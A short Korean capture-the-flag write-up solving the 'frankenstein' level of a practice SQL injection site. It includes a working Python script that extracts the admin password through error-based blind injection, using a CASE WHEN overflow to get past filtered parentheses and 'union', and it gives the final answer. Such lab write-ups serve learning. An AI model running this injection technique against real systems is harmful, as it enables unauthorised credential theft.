필터링 되는 문자를 확인하면 소괄호와 union이 필터링되어 있습니다. 그렇기 때문에 27번에서 사용했던 시간 기반 SQL 인젝션 공격은 하기 어려워 보입니다. 그리고 에러를 출력해주는 부분이 있는 것으로 보아 에러 기반 SQL 인젝션 공격으로 풀어야할 것 같았습니다. 공격을 위한 조건문은 case when then 문을 사용해서 문제를 해결했습니다.
import requests
url='https://los.rubiya.kr/chall/frankenstein_b5bab23e64777e1756174ad33f14b5db.php?'
header={'Cookie':'PHPSESSID=ailfrbcn3eqpjjr7ico7nv5ptc'}
ch = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!@$^*-+=~`"
pw=""
for i in range(0,30):
for j in ch:
query = "pw=' or case when id='admin' and pw like '{}%25' then 9e307*2 else 0 end%23".format(pw+j)
result = requests.get(url+query, headers = header)
if "./config.php" in result.text:
continue
elif "error" in result.text:
print("pw:" ,pw)
pw += j
break
print(pw)
코드의 쿼리문을 살짝 살펴보면 case when then 문을 사용하였고, 이때 id가 admin이면서 비밀번호가 해당 문자열로 시작하는 것을 찾았을 때 SQL에서 오류를 발생시키는 수를 가져와서 에러가 발생하게 만드는 것입니다. 그래서 에러가 발생하면 그 문자열을 비밀번호로 추가하였고, 최종적으로 출력하였습니다.
정답 : ?pw=0dc4efbb